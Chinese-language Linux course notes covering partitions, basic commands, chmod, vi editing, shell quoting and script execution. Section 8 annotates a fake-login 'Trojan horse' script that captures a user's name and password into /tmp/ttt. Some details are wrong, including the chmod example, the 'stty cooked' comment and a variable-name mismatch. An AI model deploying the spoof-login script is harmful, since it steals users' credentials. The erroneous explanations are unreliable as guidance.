一、请简述Linux安装时的两个必备分区、挂载点和类型。

  一般情况下,安装红旗Linux需要两个必备分区,即一个根文件系统分区,挂载点(/),类型为ext3、ext2或reiserfs;一个交换分区,挂载点无,类型为swap。

二、请简述Linux简单命令(至少六种)。

  1.who命令

    who,将列出所有正在使用系统的用户、所用终端名和注册到系统的时间。

    who am i ,将列出使用该命令的当前用户的相关信息。

  2.echo命令

    echo, 将命令行中的参数显示到标准输出(即屏幕)上。

    例:(1)$echo  'This is a      command.' (a和command之间有4个空格)

          This is a     command. (与输入相同)

      (2)$echo This is a     command

          This is a command.

  3.date命令

    date,在屏幕上显示或设置系统的日期和时间。(若没有选项和参数,将直接显示系统当前日期和时间;若指定显示日期的格式,将按照指定的格式显示当前的日期和时间)

  4.cal命令

    cal, 可显示公元1-9999年中任意一年或任意一个月的日历。

    例:(1)cal  (显示当前月份的日历)

      (2)cal  10  (将列出公元10年的日历)

      (3)cal  10  2006  (将列出2006年10月份的日历)

  5.clear命令

    clear, 清除屏幕上的信息。

  6.passwd命令

    passwd,可更改用户口令。

    例:$passwd

      Changing password for user mengqc.      [用户名是mengqc]

      Changing password for mengqc.

      (current) UNIX Password:    [提示输入老密码]

      New UNIX password:     [要求输入新密码]

      Retype new UNIX password:   [重新输入一遍新密码。如果两次一样,系统就接受这个密码作为下次登陆的密码]

      passwd: all  authentication  tokens  updated  successfully.

三、请使用chmod命令改变或设置文件或目录的存取权限。(只有文件主或超级用户才有权用chmod命令改变文件或目录的存取权限)

  根据表示权限的方式不同,该命令有两种用法:以符号模式改变权限和以绝对方式改变权限。

  1、以符号模式改变权限

    一般格式: chmod  key( [who]  [操作符号]  [mode])  文件名

    例:(1)将文件ex1的权限改为所有用户都有执行权限。

        $ chmod  a+x  ex1

        (2)将文件ex2的权限重新设置为文件主可以读和执行,组用户可以执行,其他用户无权访问。

        $chmod  u=r,ug=x  ex2

  2、以绝对方式改变权限

    一般格式:chmod  made  文件名

    Linux系统中,mode是由1-4位八进制数字组成的,从左到右各位数字的含义是:第1位表示用户ID(数值4)、组ID(数值2)和粘着属性(数值1);第2位表示文件主权限;第3位表示组用户权限;第4位表示其他用户权限。

    例:使文件ex1的文件主和同组用户具有读、写权限,而其它用户只可读。

      $ chmod  0664 ex1

四、简述vi编辑器命令方式下的移动光标及文本修改。 

1、移动光标(基本移动光标命令)

  命令:l 、Space键、右向键->     功能:光标向右移动一个字符。如果在命令前面先输入一个数字n,那么就把光标向右移动n个字符(光标至多移动到行尾)。

    例: 向右移动6个字符     6l、6+Space

  命令:h、Backspace、左向键<-   功能:光标向左移动一个字符。如果在命令前面先输入一个数字n,那么就把光标向左移动n个字符(光标至多移动到行开头)

    例:向左移动4个字符     4h、4+Backspace

  命令:-       功能:光标上移一行(移到上行的开头)。如果在命令前面先输入一个数字n,那么就把光标向上移动n行。

    例:光标上移四行,位于行首      4-

  命令:k、Ctrl+P、上向键       功能:光标上移一行(列不变)。如果在命令前面先输入一个数字n,那么就把光标向上移动n行。

    例:光标上移4行        4k

  命令:+、Enter    功能:光标下移一行(移到下行的开头)。如果在命令前面先输入一个数字n,那么就把光标向下移动n行。

    例:光标下移6行,位于行首      6+

  命令:j、Ctrl+N、下向键     功能:光标下移一行(列不变)。若下一行比当前光标所在位置还短,则下移到行尾。如果在命令前面先输入一个数字n,那么就把光标向下移动n行。

    例:光标下移6行         6j

2、文本修改

  命令:x      功能:删除光标所在字符。如果前面给出一个数值n,则由光标所在字符开始、向右删除n个字符,如5x。

  命令:X     功能:删除光标前面的那个字符。如果前面给出一个数值n,则由光之前的那个字符开始、向左删除n个字符。

  命令:dd    功能:删除光标所在的整行。

  命令:D     功能:从光标位置开始删除到行尾。

  命令:d0   功能:从光标位置(不包括光标位)删至行首。

  命令:d3l  功能:从光标位置(包括光标位)向右删3个字符。

  命令:d$   功能:从光标位置(包括光标位)删至行尾。

  命令:d5G 功能:将光标所在行至第5行都删除。

  命令:dw   功能:删除从光标位置(包括该位)至该词末尾(包括词尾空白符)的所有字符。

  命令:d3B 功能:从光标位置(不包括该位)反向删除3个词(光标所在词也算在内)。

  命令:dH  功能:删除从当前行至所显示屏幕顶行的全部行。

  命令:dM  功能:删除从当前行至命令M所指定行之间的所有行。

  命令:dL   功能:删除从当前行到屏幕底行的所有行。

  命令:u     功能:复原命令。取消刚才的插入或删除命令,恢复到原来的情况。

  命令:U    功能:直接把当前行恢复到它被编辑之前的状态,不管光标移到该行后它被编辑了多少次。

  命令:.     功能:重复命令,仅重复实现最近一次使用的插入命令或删除命令。

五、用vi打开已存文件ex1,在命令模式下,移动到第7行,删除该行,保存并退出。

  $ vi  +7   ex1

  dd

  Esc

  :wq

六、简述Shell特殊字符中引号的功能。

  在shell中引号分为三种:单引号、双引号和倒引号。

  (1)单引号。由单引号括起来的字符都作为普通字符出现。

  (2)双引号。由双引号括起来的字符(除$、倒引号、反斜杠外)均作为普通字符对待。

  (3)倒引号。倒引号括起来的字符串被shell解释为命令行,在执行时,shell会先执行该命令行,并以它的标准输出结果取代整个倒引号部分。

七、分别以三种不同的方式编辑执行shell脚本。

  1、输入重定向到shell脚本。该方式用输入重定向方式让shell从给定文件中读入命令行,并进行处理。

    一般形式:  $ bash  <  脚本名

  2、以脚本名作为bash参数。

    一般形式:  $bash  脚本名  [参数]

  3、将shell脚本的权限设置为可执行,然后在提示符下直接执行。

    $ chmod  a+x  文件名

    $PATH=$PATH:.

    $文件名

八、特洛伊木马shell脚本解释。

  echo  -n  "Login"                                            #屏幕显示Login

  read  name              #将键入的内容存储到name中

  stty  -echo              #禁止屏幕回显

  echo  -n  "Password"          #屏幕显示Password

  read  password            #将键入的内容存储到passwd中

  echo  " "                #显示空字符

  stty  echo                #恢复屏幕回显

  echo  $name  $passwd > /tmp/ttt&      #输出重定向,将变量name、passwd的值输出重定向至后台文件tmp.ttt

  sleep  2                 #暂停2s

  echo  "Login  Incorrect.Re-enter,Please."    #屏幕上显示账号错误,请重新输入。

  stty  cooked                 #调用真正的登录程序

  

Linux基础 —基础要点的更多相关文章

  1. Linux Cluster 基础之LVS调度算法与集群类型

    Linux Cluster 基础之LVS调度算法与集群类型 作者:尹正杰  版权声明:原创作品,谢绝转载!否则将追究法律责任. 一.LB Cluster 1>.什么是LB LB 集群是 load ...

  2. Linux实战教学笔记06:Linux系统基础优化

    第六节 Linux系统基础优化 标签(空格分隔):Linux实战教学笔记-陈思齐 第1章 基础环境 第2章 使用网易163镜像做yum源 默认国外的yum源速度很慢,所以换成国内的. 第一步:先备份 ...

  3. Linux实战教学笔记04:Linux命令基础

    第四节:Linux命令基础 标签(空格分隔):Linux实战教学笔记 第1章 认识操作环境 root:当前登陆的用户名 @分隔符 chensiqi:主机名 -:当前路径位置 用户的提示符 1.1 Li ...

  4. Kali Linux渗透基础知识整理(四):维持访问

    Kali Linux渗透基础知识整理系列文章回顾 维持访问 在获得了目标系统的访问权之后,攻击者需要进一步维持这一访问权限.使用木马程序.后门程序和rootkit来达到这一目的.维持访问是一种艺术形式 ...

  5. Kali Linux渗透基础知识整理(二)漏洞扫描

    Kali Linux渗透基础知识整理系列文章回顾 漏洞扫描 网络流量 Nmap Hping3 Nessus whatweb DirBuster joomscan WPScan 网络流量 网络流量就是网 ...

  6. 5.linux内核模块基础,内核模块学习

    linux内核模块基础 一.定义 Linux 内核的整体结构非常庞大,其包含的组件也非常多,如何使用这些组件呢: 方法 1:把所有的组件都编译进内核文件,即:zImage 或 bzImage,但这样会 ...

  7. Linux信号基础

    Linux信号基础   作者:Vamei 出处:http://www.cnblogs.com/vamei 欢迎转载,也请保留这段声明.谢谢! Linux进程基础一文中已经提到,Linux以进程为单位来 ...

  8. Linux进程基础

    Linux进程基础   作者:Vamei 出处:http://www.cnblogs.com/vamei 欢迎转载,也请保留这段声明.谢谢! 计算机实际上可以做的事情实质上非常简单,比如计算两个数的和 ...

  9. Linux操作系统基础(四)保护模式内存管理(2)【转】

    转自:http://blog.csdn.net/rosetta/article/details/8570681 Linux操作系统基础(四)保护模式内存管理(2) 转载请注明出处:http://blo ...

  10. linux考试基础知识测验

    Linux系统管理基础测试(100分钟) 姓名: 座位号: 一.单项选择题:(每小题0.5分,共计30分)  1.    cron 后台常驻程序 (daemon) 用于:D A. 负责文件在网络中的共 ...

随机推荐

  1. 【Web技术】353- CDN 科普

    点击上方"前端自习课"关注,学习起来~ 一.概述 1.1 含义 CDN 的全称是 Content Delivery Network,即内容分发网络.CDN 是构建在网络之上的内容分 ...

  2. 【JS】341- 移动端滚动穿透的6种解决方案

    前言 相信能看到这篇文章的你,已经是遇到了这个问题.我就不gif展示问题效果了. 鉴于此问题是面试的常客,故特地针对滚动穿透这个疑难杂症,整理了六个解决方案. 各方法操作难易不同,分别针对弹层和bod ...

  3. 选择排序 C&&C++

    选择排序 选择排序即在每一步中选取最小值重新排列,从而达到排序的目的   流程: (1)先从原始数组选择一个最小数据和第一个位置交换 (2)剩下的n-1个数据选择最小的和第二个位置交换 (3)不断重复 ...

  4. Git之将master合并到自己分支

    工作中常常需要将master合并到自己的分支,这次就记录一下这个过程. 1.切换到master主分支上 git checkout master 2.将master更新的代码pull到本地 git pu ...

  5. Another git process seems to be running in this repository

    今天在推送项目的时候git突然报如题的错误.查了一下是由于git被另外一个程序占用,产生原 原因在于Git在使用过程中遭遇了崩溃,部分被上锁资源没有被释放. 解决方案也很简单,在git中找到对应的in ...

  6. Maven——向Maven本地仓库中手动添加依赖包(ps:ojdbc.jar)

    maven中央仓库中并非包含所有现有的依赖包和插件,部分依赖包和插件需要手动地进行添加(如ojdbc.jar) 一.添加JDK系统环境变量(maven是基于Java的,可参考:https://www. ...

  7. Bash脚本编程之脚本基础和bash配置文件

    脚本基础 参考资料:Shell Scripts (Bash Reference Manual) 不严谨地说,编程语言根据代码运行的方式,可以分为两种方式: 编译运行:需要先将人类可识别的代码文件编译成 ...

  8. 二分查找(Java)

    题目: 编写程序,完成以下功能: (1)输入5个整数到数组中; (2)使用冒泡法对5个数按从小到大排序,输出排序后的数组; (3)输入一个整数X,在数组中用二分法查找X,找到输出X在数组中的下标,找不 ...

  9. (2018版)webstorm的安装和破解

    前言 相信使用HBuildX的各位都用过,所以这个webstorm就是用来代替的. 因为使用方式跟idea等软件差不多,如果习惯了idea的操作方式的可以试一试 安装webstorm 这是2018版的 ...

  10. IO - 同步 异步 阻塞 非阻塞的区别,学习Swoole有帮助

    同步(synchronous) IO和异步(asynchronous) IO,阻塞(blocking) IO和非阻塞(non-blocking)IO分别是什么,到底有什么区别?本文较长需耐心阅读,基础 ...